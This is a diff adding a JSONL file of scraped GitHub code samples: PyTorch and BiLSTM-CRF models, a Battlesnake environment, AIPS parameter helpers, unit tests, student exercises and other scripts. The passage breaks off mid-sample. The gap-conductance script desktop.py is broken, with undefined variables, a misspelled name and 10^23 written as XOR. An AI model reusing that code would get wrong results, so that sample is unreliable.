diff --git "a/3573.jsonl" "b/3573.jsonl" new file mode 100644--- /dev/null +++ "b/3573.jsonl" @@ -0,0 +1,1343 @@ +{"seq_id":"71464117201","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\n\n\nclass FRN(nn.Module):\n def __init__(self, num_features, eps=1e-6):\n super(FRN, self).__init__()\n self.tau = nn.Parameter(torch.zeros(1, num_features, 1, 1))\n self.gamma = nn.Parameter(torch.ones(1, num_features, 1, 1))\n self.beta = nn.Parameter(torch.zeros(1, num_features, 1, 1))\n self.eps = eps\n\n def forward(self, x):\n x = x * torch.rsqrt(torch.mean(x ** 2,\n dim=[2, 3], keepdim=True) + self.eps)\n return torch.max(self.gamma * x + self.beta, self.tau)\n\n\nclass ActFirstResBlk(nn.Module):\n def __init__(self, dim_in, dim_out, downsample=True):\n super(ActFirstResBlk, self).__init__()\n self.norm1 = FRN(dim_in)\n self.norm2 = FRN(dim_in)\n self.conv1 = nn.Conv2d(dim_in, dim_in, 3, 1, 1)\n self.conv2 = nn.Conv2d(dim_in, dim_out, 3, 1, 1)\n self.downsample = downsample\n self.learned_sc = (dim_in != dim_out)\n if self.learned_sc:\n self.conv1x1 = nn.Conv2d(dim_in, dim_out, 1, 1, 0, bias=False)\n\n def _shortcut(self, x):\n if self.learned_sc:\n x = self.conv1x1(x)\n if self.downsample:\n x = F.avg_pool2d(x, 2)\n return x\n\n def _residual(self, x):\n x = self.norm1(x)\n x = self.conv1(x)\n if self.downsample:\n x = F.avg_pool2d(x, 2)\n x = self.norm2(x)\n x = self.conv2(x)\n return x\n\n def forward(self, x):\n return torch.rsqrt(torch.tensor(2.0)) * self._shortcut(x) + \\\n torch.rsqrt(torch.tensor(2.0)) * self._residual(x)\n","repo_name":"yukistavailable/FontDiscriminator","sub_path":"models/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20387182468","text":"import os\nfrom setuptools import setup, find_packages\n\nversion = '0.1'\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n name='pyjsconnect',\n version = version,\n description = \"Python jsConnect client for Vanilla Forums SSO\",\n long_description = read('README.rst'),\n classifiers = [],\n keywords = \"\",\n author = \"Bryan Chow\",\n author_email = '',\n url = 'https://github.com/bryanchow/python-jsconnect',\n download_url = 'https://github.com/bryanchow/python-jsconnect/tarball/master',\n license = 'BSD',\n packages = find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data = True,\n zip_safe = False,\n install_requires = [\n ],\n)\n","repo_name":"bryanchow/python-jsconnect","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"1527140468","text":"print(\"Enter Helium and Xenon concetration\")\nHe_conc = input()\nAr_conc = input()\n\nimport math\n\ndef alphafunc(conc,al,wt):\n alpha = (conc*al/math.sqrt(wt) )/ (conc/math.sqrt(wt))\n return alpha\n\ndef freepath(p,t,d): #calculate mean free path (formula from net)\n l=(.0821*t)/(math.sqrt(2)*math.pi*d*d*p*6.023*10^23)\n return l\n\n\nl1= freepath(p,t,d) #He\nl2= freepath(p,t,d) #Ar\nlambda_mix= (1.6*l1)*(1.6*l2)/(2*1.6)\n\nalpha1= alpha(He_conc,al,4)\nalpha2= alpha(Ar_conc,al,36)\n\nalpha_mix= alpha1+alpha2\n\n#k of He at 20C - .138\n# K of Ar - .016\n#Cp of He- 5190 J/Kg K\n#Cp of Ar- 520 J/Kg K\n#viscocity of He-.0000186\n#viscocity of Ar-.000021\n\nk_mix= (He_conc*.138) + ( Ar_conc*.016 )\nCp_mix= He_conc*5190 + Ar_conc*520\nvis_mix= He_conc*.0000186 + Ar_conc*.000021\nPr_mix= (vis_mix* Cp_mix)/k_mix\n\nG_jump = 2*((2-alpha_mix)/alpha_mix )*(1.6/(1+1.6))*(k_mix/(Pr_mix*Cp_mix) )*lamda_mix\n","repo_name":"neerja007/PyGapConductance","sub_path":"desktop.py","file_name":"desktop.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18112198440","text":"from typing import List\nfrom pettingzoo.utils import parallel_to_aec, OrderEnforcingWrapper\n\n# Local Imports\nfrom pz_battlesnake.constants import DEFAULT_COLORS\nfrom pz_battlesnake.env.base_env import BaseEnv\n\n\ndef env(\n num_agent: int = 4,\n colors: List[str] = DEFAULT_COLORS,\n):\n env = BaseEnv(\n wdith=21,\n height=19,\n game_map=\"arcade_maze\",\n game_type=\"wrapped\",\n num_agents=num_agent,\n colors=colors,\n )\n\n # Set the metadata enviorment name\n env.metadata[\"name\"] = \"battlesnake-maze_v0\"\n\n # Convert from MARL to AEC API\n env = parallel_to_aec(env)\n\n return env\n","repo_name":"DaBultz/pz-battlesnake","sub_path":"pz_battlesnake/env/maze_v0.py","file_name":"maze_v0.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"13814942273","text":"import argparse\nimport os\n\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity\n\nimport read_files as read\n\n\ndef main(mention_embeddings_path, synonym_ebmedding_path, concepts_path, top_k,\n concept_pre_path, concept_score_pre_path):\n\n query = np.load(mention_embeddings_path)\n documents = np.load(synonym_ebmedding_path)\n concepts = read.read_from_json(concepts_path)\n\n similarity_matrix = cosine_similarity(query, documents)\n idx = np.argsort(similarity_matrix)\n idx = idx.astype(np.int32)\n top_k = int(top_k)\n idx = idx[:, ::-1][:, :top_k]\n concept_score_pre = [\n row[idx[i]] for i, row in enumerate(similarity_matrix)\n ]\n concept_pre = [[concepts[int(item)] for item in row] for row in idx]\n\n read.save_in_json(concept_pre_path, concept_pre)\n np.save(concept_score_pre_path, concept_score_pre)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\n 'Generate sentence embedding for each sentence in the sentence corpus '\n )\n\n parser.add_argument('--mention_embeddings_path',\n help='the file path of the mention embeddings',\n required=True)\n\n parser.add_argument('--synonym_ebmedding_path',\n help='the file path of the synonym embeddings',\n required=True)\n\n parser.add_argument(\n '--concepts_path',\n help='the type of the model, sentence_bert or just bert',\n required=True)\n\n parser.add_argument('--top_k',\n help='save the top k synonyms in the output file',\n required=True)\n\n parser.add_argument('--concept_pre_path',\n help='the output file path of the predicted concepts',\n required=True)\n\n parser.add_argument(\n '--concept_score_pre_path',\n help='the output file path of the scores of the predicted concepts',\n required=False,\n default=\"\")\n\n args = parser.parse_args()\n mention_embeddings_path = args.mention_embeddings_path\n synonym_ebmedding_path = args.synonym_ebmedding_path\n concepts_path = args.concepts_path\n top_k = args.top_k\n concept_pre_path = args.concept_pre_path\n concept_score_pre_path = args.concept_score_pre_path\n\n main(mention_embeddings_path, synonym_ebmedding_path, concepts_path, top_k,\n concept_pre_path, concept_score_pre_path)\n","repo_name":"dongfang91/Triplet-Search-ConNorm","sub_path":"similarity_search_strategy/similarity_search.py","file_name":"similarity_search.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"21874386709","text":"import random\r\n\r\n\r\ndef bubble(arr):\r\n j = 0\r\n while j < len(arr) - 1:\r\n if arr[j] > arr[j + 1]:\r\n arr[j], arr[j+1] = arr[j + 1], arr[j]\r\n j += 1\r\n \r\n\r\ndef bblSort(arr):\r\n i = 0\r\n while i < len(arr)-1:\r\n bubble(arr)\r\n i += 1\r\n\r\nif __name__ == \"__main__\":\r\n arr = [random.randint(1,10) for i in range(10)]\r\n print(arr)\r\n\r\n bblSort(arr)\r\n\r\n print(arr)","repo_name":"mcastre1/cpffj","sub_path":"Sort/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"907472074","text":"# -*- coding: utf-8 -*-\n\"\"\"\nResults class unit tests.\n\nCreated on Sun Apr 2 08:42:53 2017\n\n@author: Calil\n\"\"\"\n\nimport unittest\nimport numpy as np\nfrom src.results import Results\nfrom src.parameters.parameters import Parameters\n\nclass ResultsTest(unittest.TestCase):\n \n def setUp(self):\n param = Parameters(1)\n param.p = np.logspace(-6,-4, num = 20)\n figs_dir = \"test_figs/\"\n self.res = Results(param, figs_dir)\n \n def test_get_param(self):\n par = self.res.get_param()\n self.assertEqual(20,len(par.p))\n \n def test_get_figs_dir(self):\n f_dir = self.res.get_figs_dir()\n self.assertEqual(\"test_figs/\",f_dir)\n \n def test_get_per_list(self):\n per = self.res.get_per_list()\n self.assertEqual(0,len(per))\n \n def test_get_per_conf(self):\n per_conf = self.res.get_per_conf()\n self.assertEqual(0,len(per_conf))\n \n def test_get_thrpt_list(self):\n thrpt = self.res.get_thrpt_list()\n self.assertEqual(0,len(thrpt))\n \n def test_get_thrpt_conf(self):\n thrpt_conf = self.res.get_thrpt_conf()\n self.assertEqual(0,len(thrpt_conf))\n \n def test_store_res_plot(self):\n per_tpl = (1.0e-05, 1.0e-06)\n thrpt_tpl = (50, 0.5)\n \n # Add len.p PER and Throughput results\n len_p = len(self.res.get_param().p)\n for k in range(0,len_p):\n self.res.store_res(per_tpl,thrpt_tpl)\n \n # Check PER length\n per = self.res.get_per_list()\n self.assertEqual(len_p,len(per))\n \n # Check PER confidence length\n per_conf = self.res.get_per_conf()\n self.assertEqual(len_p,len(per_conf))\n \n # Check thrpt length\n thrpt = self.res.get_thrpt_list()\n self.assertEqual(len_p,len(thrpt))\n \n # Check thrpt_conf lenth\n thrpt_conf = self.res.get_thrpt_conf()\n self.assertEqual(len_p,len(thrpt_conf))\n \n # Plot\n theo_per = 1.0e-05*np.ones([len_p,])\n theo_thrpt = 50*np.ones([len_p,])\n self.res.plot(theo_per,theo_thrpt)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"ppgee-simulacoes/LinkLevelSimulator","sub_path":"src/tests/test_results.py","file_name":"test_results.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19312688794","text":"###############################################################################\n\n# import Python modules\nfrom sys import *\nfrom datetime import *\n\n# import 3rd party modules\nfrom numpy import *\n\n# import user modules\nfrom aips import *\nfrom error import *\n\n###############################################################################\n\ndef read_history( uvim, strings = [], count = 1, word_match = False ):\n# strings = search terms\n# count = 0: return all occurrences\n# count = N: return first N occurrences\n# count = -N: return last N occurrences in reverse order\n\n if not table_exists( uvim, 'HI', 1 ):\n raise error( 'AIPS HI table does not exist' )\n hi_table = uvim.history\n hi_list = []\n if ( count >= 0 ):\n found_count = 0\n for line in hi_table:\n if word_match:\n words = [ word.strip() for word in line.split() ]\n if ( len( strings ) == 0 ):\n hi_list.append( line )\n found_count = found_count + 1\n else:\n found = True\n for string in strings:\n if ( line.find( string ) == - 1 ):\n found = False\n break\n elif word_match:\n try:\n dummy = words.index( string )\n except:\n found = False\n break\n if found:\n hi_list.append( line )\n found_count = found_count + 1\n if ( found_count == count ):\n break\n else:\n history_size = get_history_size( uvim )\n found_count = 0\n for index in range( history_size - 1, - 1, - 1 ):\n line = hi_table[ index ]\n if word_match:\n words = [ word.strip() for word in line.split() ]\n if ( len( strings ) == 0 ):\n hi_list.append( line )\n found_count = found_count + 1\n else:\n found = True\n for string in strings:\n if ( line.find( string ) == - 1 ):\n found = False\n break\n elif word_match:\n try:\n dummy = words.index( string )\n except:\n found = False\n break\n if found:\n hi_list.append( line )\n found_count = found_count + 1\n if ( found_count == - count ):\n break\n\n return hi_list\n\n###############################################################################\n\ndef store_parameter_old( uvim, par_name, par_value ):\n if len( par_name.split() ) > 1:\n raise error( 'parameter name %s contains white spaces' % ( par_name ) )\n if isinstance( par_value, bool ):\n par_type = 'BOOL'\n elif isinstance( par_value, int ):\n par_type = 'INT'\n elif isinstance( par_value, float ):\n par_type = 'FLOAT'\n else:\n par_type = 'STR'\n par_string = 'PARAM %s %s = %s' % ( par_type, par_name, repr( par_value ) )\n if par_type != 'STR':\n if ( len( par_string ) <= 70 ):\n write_history( uvim, [ par_string ] )\n else:\n raise error( 'parameter name+value of %s is too long' % par_name )\n else:\n if ( len( par_string ) <= 70 ):\n write_history( uvim, [ par_string ] )\n else:\n par_strings = [ par_string[ 0 : 70 ] ]\n i = 0\n while ( ( i < 99 ) and ( len( par_string ) > 70 ) ):\n i = i + 1\n par_string\n par_string = 'PAR%02d %s %s = %s' % ( i, par_type, par_name, par_string[ 70 : ] )\n if ( len( par_string ) <= 70 ):\n par_strings.append( par_string )\n else:\n par_strings.append( par_string[ 0 : 70 ] )\n if ( len( par_string ) <= 70 ):\n write_history( uvim, par_strings )\n else:\n raise error( 'parameter name+value of %s is too long' % par_name )\n return\n\n###############################################################################\n\ndef restore_parameter_old( uvim, par_name ):\n if ( len( par_name.split() ) > 1 ):\n raise error( 'parameter name %s contains white spaces' % ( par_name ) )\n lines = read_history( uvim, strings = [ 'PARAM', par_name ], count = -1, word_match = True )\n if ( len( lines ) == 0 ):\n raise error( 'parameter name %s was not found' % ( par_name ) )\n line = lines[ 0 ]\n columns = [ column.strip() for column in line.split() ]\n par_type = columns[ 1 ]\n par_value_string = columns[ 4 ]\n if ( par_type == 'BOOL' ):\n if ( par_value_string == repr( True ) ):\n par_value = True\n elif ( par_value_string == repr( False ) ):\n par_value = False\n else:\n raise error( 'invalid value %s for parameter %s' % ( par_value_string, par_name ) )\n elif ( par_type == 'INT' ):\n par_value = int( par_value_string )\n elif ( par_type == 'FLOAT' ):\n par_value = float( par_value_string )\n elif ( par_type == 'STR' ):\n if ( par_value_string[ 0 ] != \"'\" ):\n raise error( 'invalid value %s for parameter %s' % ( par_value_string, par_name ) )\n start_index = line.find( \"'\" ) + 1\n stop_index = line[ start_index : ].find( \"'\" )\n if ( stop_index > - 1 ):\n par_value = line[ start_index : start_index + stop_index ]\n else:\n par_value = line[ start_index : ]\n i = 0\n while ( i < 99 ):\n i = i + 1\n lines = read_history( uvim, strings = [ 'PAR%02d' % ( i ), 'STR', par_name ], count = -1, word_match = True )\n if ( len( lines ) == 0 ):\n raise error( 'parameter name %s is an unterminated string' % ( par_name ) )\n line = lines[ 0 ]\n start_index = line.find( \"=\" ) + 2\n stop_index = line[ start_index : ].find( \"'\" )\n if ( stop_index > - 1 ):\n par_value = par_value + line[ start_index : start_index + stop_index ]\n break\n else:\n par_value = par_value + line[ start_index : ]\n if ( stop_index == - 1 ):\n raise error( 'parameter name %s is an unterminated string' % ( par_name ) )\n else:\n raise error( 'unknown parameter type %s' % ( par_type ) )\n\n return par_value\n\n###############################################################################\n\ndef write_ps_row( uvim, field_string, comment_string ):\n if ( len( field_string ) > 8 ):\n raise error( 'length of field_string is too large' )\n if ( len( comment_string ) > 80 ):\n raise error( 'length of comment_string is too large' )\n if ( not table_exists( uvim, 'PS', 0 ) ):\n ps_table = new_table( uvim, 'PS', 1 )\n else:\n wiz_uvim = wizardry( uvim )\n ps_table = wiz_uvim.table( 'PS', 0 )\n [ date, time ] = datetime.now().isoformat( ' ' ).split()\n date = date.replace( '-', '' )\n time = time.replace( ':', '' )\n time = time.replace( '.', '' )\n ps_row = new_table_row( ps_table )\n ps_row.field_name = field_string\n ps_row.comments = comment_string\n ps_row.obsdate = date[ 0 : 8 ]\n ps_row.status = time[ 0 : 8 ]\n ps_table.append( ps_row )\n ps_table.close()\n return\n\n###############################################################################\n\ndef read_ps_rows( uvim, field_string ):\n lines = []\n if ( not table_exists( uvim, 'PS', 0 ) ):\n raise error( 'PS table does not exist' )\n wiz_uvim = wizardry( uvim )\n ps_table = wiz_uvim.table( 'PS', 0 )\n for ps_row in ps_table:\n if ( ps_row.field_name.strip() == field_string ):\n lines.append( ps_row.comments )\n ps_table.close()\n return ( lines )\n\n###############################################################################\n\ndef store_parameter( uvim, par_name, par_value ):\n if ( len( par_name.split() ) > 1 ):\n raise error( 'parameter name %s contains white spaces' % ( par_name ) )\n if ( type( par_value ) in [ bool, bool_, bool8 ] ):\n par_type = 'BOOL'\n elif ( type( par_value ) in [ int, intc, intp, int_, int0, int8, int16, int32, int64,\n uintc, uintp, uint, uint0, uint8, uint16, uint32, uint64 ] ):\n par_type = 'INT'\n elif ( type( par_value ) in [ float, float_, float32, float64 ] ): # , float96 ] ):\n par_type = 'FLOAT'\n else:\n par_type = 'STR'\n par_string = '%s %s = %s' % ( par_type, par_name, repr( par_value ) )\n if ( par_type != 'STR' ):\n if ( len( par_string ) <= 80 ):\n write_ps_row( uvim, 'PARAM', par_string )\n else:\n raise error( 'parameter name+value of %s is too long' % par_name )\n else:\n if ( len( par_string ) <= 80 ):\n write_ps_row( uvim, 'PARAM', par_string )\n else:\n write_ps_row( uvim, 'PARAM', par_string[ 0 : 80 ] )\n par_string = par_string[ 80 : ]\n while ( len( par_string ) > 80 ):\n write_ps_row( uvim, 'PARAM', par_string[ 0 : 80 ] )\n par_string = par_string[ 80 : ]\n if ( len( par_string ) > 0 ):\n write_ps_row( uvim, 'PARAM', par_string )\n return\n\n###############################################################################\n\n#def restore_parameter( uvim, par_name ):\n# try:\n# par_value = restore_parameter_new( uvim, par_name )\n# except:\n# par_value = restore_parameter_old( uvim, par_name )\n# return par_value\n\n###############################################################################\n\n#def restore_parameter_new( uvim, par_name ):\ndef restore_parameter( uvim, par_name ):\n if len( par_name.split() ) > 1:\n raise error( 'parameter name %s contains white spaces' % ( par_name ) )\n lines = read_ps_rows( uvim, 'PARAM' )\n if ( len( lines ) == 0 ):\n raise error( 'parameter name %s was not found' % ( par_name ) )\n index_list = []\n for i in range( len( lines ) ):\n line = lines[ i ]\n columns = [ column.strip() for column in line.split() ]\n if ( len( columns ) > 1 ):\n if ( columns[ 1 ] == par_name ):\n index_list.append( i )\n if ( len( index_list ) == 0 ):\n raise error( 'parameter name %s was not found' % ( par_name ) )\n line = lines[ index_list[ - 1 ] ]\n columns = [ column.strip() for column in line.split() ]\n par_type = columns[ 0 ]\n par_value_string = columns[ 3 ]\n if ( par_type == 'BOOL' ):\n if ( par_value_string == repr( True ) ):\n par_value = True\n elif ( par_value_string == repr( False ) ):\n par_value = False\n else:\n raise error( 'invalid value %s for parameter %s' % ( par_value_string, par_name ) )\n elif ( par_type == 'INT' ):\n par_value = int( par_value_string )\n elif ( par_type == 'FLOAT' ):\n par_value = float( par_value_string )\n elif ( par_type == 'STR' ):\n if ( par_value_string[ 0 ] != \"'\" ):\n raise error( 'invalid value %s for parameter %s' % ( par_value_string, par_name ) )\n start_index = line.find( \"'\" ) + 1\n stop_index = line[ start_index : ].find( \"'\" )\n if ( stop_index > -1 ):\n par_value = line[ start_index : start_index + stop_index ]\n else:\n par_value = line[ start_index : ]\n index = index_list[ - 1 ] + 1\n while ( index < len( lines ) ):\n line = lines[ index ]\n stop_index = line.find( \"'\" )\n if ( stop_index > - 1 ):\n par_value = par_value + line[ 0 : stop_index ]\n break\n else:\n par_value = par_value + line\n index = index + 1\n if ( stop_index == - 1 ):\n raise error( 'parameter name %s is an unterminated string' % ( par_name ) )\n else:\n raise error( 'unknown parameter type %s' % ( par_type ) )\n\n return par_value\n\n###############################################################################\n\n","repo_name":"NCRA-TIFR/gmrt-spam","sub_path":"spam/python/spam/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":11063,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"30498486271","text":"import torch\nimport torch.nn as nn\nSTART_TAG = '[START]'\nSTOP_TAG = '[END]'\nPAD_TAG = '[PAD]'\n\nclass BiLSTM_CRF(nn.Module):\n '''\n BiLSTM with CRF for Named Entity Recognition\n '''\n\n def __init__(self, hparams, tag2idx):\n super().__init__()\n\n self.batch_size = hparams['batch_size']\n self.embedding_dim = hparams['embedding_dim']\n self.hidden_dim = hparams['hidden_dim']\n self.vocab_size = hparams['vocab_size']\n self.seq_length = hparams['seq_length']\n\n self.device = hparams['device']\n\n self.tag2idx = tag2idx\n self.tagset_size = len(tag2idx)\n\n self.embedding = nn.Embedding(self.vocab_size, self.embedding_dim)\n self.lstm = nn.LSTM(self.embedding_dim, self.hidden_dim // 2, bidirectional=True)\n\n # Maps the output of the LSTM into tag space.\n self.hidden2tag = nn.Linear(self.hidden_dim, self.tagset_size)\n\n # Matrix of transition parameters. Entry i,j is the score of\n # transitioning *to* i *from* j.\n self.transitions = nn.Parameter(torch.randn(self.tagset_size, self.tagset_size))\n\n # These two statements enforce the constraint that we never transfer\n # to the start tag and we never transfer from the stop tag\n self.transitions.data[tag2idx[START_TAG], :] = -10000\n self.transitions.data[:, tag2idx[STOP_TAG]] = -10000\n\n self.transitions.data[:, tag2idx[PAD_TAG]] = 0\n self.transitions.data[tag2idx[PAD_TAG], :] = 0\n\n self.hidden = self.init_hidden()\n\n def init_hidden(self):\n return (torch.randn(2, self.batch_size, self.hidden_dim // 2, device=self.device),\n torch.randn(2, self.batch_size, self.hidden_dim // 2, device=self.device))\n\n def _lstm_encoder(self, sentence):\n \"\"\" encode sentence with BiLSTM\n\n Args:\n sentence: word index sequence of [batch_size, seq_length]\n\n Returns:\n lstm_feats: sentence embedding of [batch_size, seq_length, tagset_size]\n \"\"\"\n self.hidden = self.init_hidden()\n embedding = self.embedding(sentence).transpose(0,1)\n lstm_out, self.hidden = self.lstm(embedding, self.hidden)\n lstm_out = lstm_out.transpose(0,1)\n lstm_feats = self.hidden2tag(lstm_out)\n return lstm_feats\n\n def _forward_alg(self, feats):\n \"\"\" calculate the log-sum-exp of the score of all possible label sequence\n\n Args:\n feats: sentence embedding of [batch_size, seq_length, tagset_size]\n\n Returns:\n alpha: batch of log-sum-exp of [batch_size, 1]\n \"\"\"\n\n init_alphas = torch.full((self.batch_size, 1, self.tagset_size), -10000.).to(self.device)\n # START_TAG has all of the score.\n init_alphas[:, 0, self.tag2idx[START_TAG]] = 0.\n forward_var = init_alphas\n\n # Iterate through the sentence\n for i in range(feats.shape[1]):\n feat = feats[:,i,:]\n\n emit_score = feat.view(self.batch_size, self.tagset_size, 1)\n next_tag_var = forward_var + self.transitions + emit_score\n forward_var = torch.logsumexp(next_tag_var,dim=-1).view(self.batch_size, 1, self.tagset_size)\n\n terminal_var = forward_var + self.transitions[self.tag2idx[STOP_TAG]]\n alpha = torch.logsumexp(terminal_var,dim=-1)\n return alpha\n\n def _score_sentence(self, feats, tags):\n \"\"\" Score the provided label sequence\n\n Args:\n feats: sentence embedding of [batch_size, seq_length, tagset_size]\n tags: label sequence of [batch_size, seq_length]\n\n Returns:\n scores: batch of scores, size of [batch_size, 1]\n \"\"\"\n score = torch.zeros((self.batch_size,1), device=self.device)\n tags = torch.cat([torch.full((self.batch_size, 1), self.tag2idx[START_TAG], dtype=torch.long, device=self.device), tags],dim=1)\n for i in range(feats.shape[1]):\n feat = feats[:,i,:]\n\n score = score + self.transitions[tags[:,i+1], tags[:,i]].view(self.batch_size,1) + feat.gather(dim=-1, index=tags[:,i+1].unsqueeze(dim=-1))\n \n score = score + self.transitions[self.tag2idx[STOP_TAG], tags[:,-1]].unsqueeze(dim=-1)\n\n return score\n\n def fit(self, x):\n sentence = x['token'].to(self.device)\n tags = x['label'].to(self.device)\n\n if sentence.shape[0] != self.batch_size:\n self.batch_size = sentence.shape[0]\n\n feats = self._lstm_encoder(sentence)\n forward_score = self._forward_alg(feats)\n gold_score = self._score_sentence(feats, tags)\n return torch.mean(forward_score - gold_score, dim=0)\n\n def _viterbi_decode(self, feats):\n \"\"\" find the best label sequence when inference\n\n Args:\n feats: sentence embedding of [batch_size, seq_length, tagset_size]\n\n Returns:\n path_score: batch of score of the input feats, of size [batch_size, 1]\n best_path: list of transmition trace\n \"\"\"\n backpointers = []\n\n init_vvars = torch.full((self.batch_size, 1, self.tagset_size), -10000.).to(self.device)\n init_vvars[:, 0, self.tag2idx[START_TAG]] = 0.\n\n forward_var = init_vvars\n for i in range(feats.shape[1]):\n feat = feats[:,i,:]\n\n next_tag_var = forward_var + self.transitions + feat.view(self.batch_size, self.tagset_size, 1)\n best_tag_var, best_tag_id = torch.max(next_tag_var, dim=-1)\n backpointers.append(best_tag_id)\n forward_var = best_tag_var.view(self.batch_size, 1, self.tagset_size)\n\n # Transition to STOP_TAG\n terminal_var = forward_var + self.transitions[self.tag2idx[STOP_TAG]]\n path_score, best_tag_id = torch.max(terminal_var, dim=-1)\n\n # Follow the back pointers to decode the best path.\n best_path = [best_tag_id]\n for bptrs_t in reversed(backpointers):\n # gather the value in bptrs_t according to best_tag_id\n best_tag_id = bptrs_t.gather(dim=-1,index=best_tag_id)\n best_path.append(best_tag_id)\n \n # Pop off the start tag (we dont want to return that to the caller)\n best_path.pop()\n best_path.reverse()\n best_path = torch.cat(best_path, dim=1)\n # best_path = [[self.idx2tag[j] for j in i] for i in best_path.tolist()]\n \n return path_score, best_path\n \n def forward(self, x):\n\n sentence = x['token'].to(self.device)\n\n if sentence.shape[0] != self.batch_size:\n self.batch_size = sentence.shape[0]\n\n lstm_feats = self._lstm_encoder(sentence)\n score, tag_seq = self._viterbi_decode(lstm_feats)\n return tag_seq","repo_name":"namespace-Pt/NER","sub_path":"utils/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":6729,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"13992926038","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# Nested conditional\n# Derrick has class on Monday's at 9am and 6pm, Tuesday's & Thursday's at 3pm, and Wednesday's at 9am.\n# He does not have class any other day or time of the week.\n# Write a nested conditional to show his class schedule. Use a variable input variable for day and time.\n\n\nday = input(\"Enter a day of the week: \") # variable to input day of week as str\ntime = int(input(\"Enter a time 1-12: \")) # variable to input time of class as int\nif day.lower() == \"monday\": # if the day of the week entered equals Monday and time equals 9 or 6, Derrick has class\n if time == 9: # if not, he does't have class at that time of day\n print(\"I have ISM4930\")\n elif time == 6:\n print(\"I have ISM4402\")\n else:\n print(\"I don't have class\")\n \nelif day.lower() == \"tuesday\": # if the day of the week equals Tuesday and time equals 3\n if time == 3: # Derrick has class, if not, he doesn't have class at that time of day\n print(\"I have ISM4300\")\n else:\n print(\"I don't have class\")\n \nelif day.lower() == \"wednesday\": # if the day of the week equals Wednesday and time equals 9, Derrick has class\n if time == 9: # if not, he doesn't have class at that time of day\n print(\"I have ISM4930\")\n else:\n print(\"I don't have class\")\n \nelif day.lower() == \"thursday\": # if the day of the week equals Thursday and time equals 3\n if time == 3: # Derrick has class, if not, he doesn't have class at that time of day\n print(\"I have ISM4300\")\n else:\n print(\"I don't have class\")\n \nelse: # Derrick doesn't have class at all this day\n print(\"I don't have class at all\")\n\n\n# In[3]:\n\n\n# Nested conditional #2\n# Write a nested conditonal that tests if is x equal to y, and if that's false, another test for x is less than y.\n\n\nx = int(input(\"Input x: \")) # variable x to input a number\ny = int(input(\"Input y: \")) # variable y to input a number\nif x == y: # if statement for x equal to y\n print(x, \"and\", y, \"are equal\") # print result\nelse:\n if x < y: # if statement for x less than y\n print(x, \"is less than\", y) # print result\n else:\n print(x, \"is greater than\", y) # print result for else if the if statement is false\n\n\n# In[ ]:\n\n\n# Iterative example (while loop)\n# While x is less than 5 print x\n# x will iterate until the statement is false.\n\n\nx = 0; # set up variable for x\nwhile (x < 5): # while loop stating x is less than 5\n print(x) # print x\n x += 1 # x adds 1 each iteration\n\n\n# In[10]:\n\n\n# Iterative example (for loop)\n# Define a list with these car brands: Honda, Toyota, Ford, Kia, Hyundai, and Nissan\n# Print each element in the list\n\ncars = [\"Honda\", \"Toyota\", \"Ford\", \"Kia\", \"Hyundai\", \"Nissan\"] # created list with variable cars\nfor i in cars:\n print(i) # print i\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"dburns12/ISM-4930","sub_path":"Derrick Burns - Assignment 1.py","file_name":"Derrick Burns - Assignment 1.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70057658323","text":"from collections import defaultdict\nimport os\nfrom PIL import Image\nimport numpy as np\nfrom Triangle import *\n\n\n\n\ndef stripMaterialInformation(lines): # strip any preexisting material information\n result = []\n for line in lines:\n if len(line) >= 6 and line[0:6] in [\"mtllib\", \"usemtl\"]:\n pass\n else:\n result.append(line)\n return result\n\n\ndef getMatLines(mtl_name, location):\n return [\n f\"\\nnewmtl mat_{mtl_name}\",\n \"Ns 250.000000\",\n \"Ka 1.000000 1.000000 1.000000\",\n \"Kd 0.097925 0.065680 0.800000\",\n \"Ks 0.500000 0.500000 0.500000\",\n \"Ke 0.000000 0.000000 0.000000\",\n \"Ni 1.450000\",\n \"d 1.000000\",\n \"illum 2\",\n f\"map_Kd ./images/{location}.png\",\n ]\n\n\ndef writeNewMtl(OUT_LOCATION, MTL_FILE_NAME, objects):\n with open(OUT_LOCATION + MTL_FILE_NAME + \".mtl\", \"w+\") as f:\n for object in objects:\n f.writelines(line + \"\\n\" for line in getMatLines(object, f\"mat_{object}\"))\n\n\ndef writeNewObj(OUT_LOCATION, FILENAME, newFile):\n with open(OUT_LOCATION + FILENAME + \"_textured.obj\", \"w+\") as f:\n f.write(newFile)\n\n\nclass hit:\n def __init__(self, name, hit_num, coords) -> None:\n self.name = name\n self.hit_num = hit_num\n self.x, self.y = coords\n\n def __repr__(self) -> str:\n return f\"{self.name} - 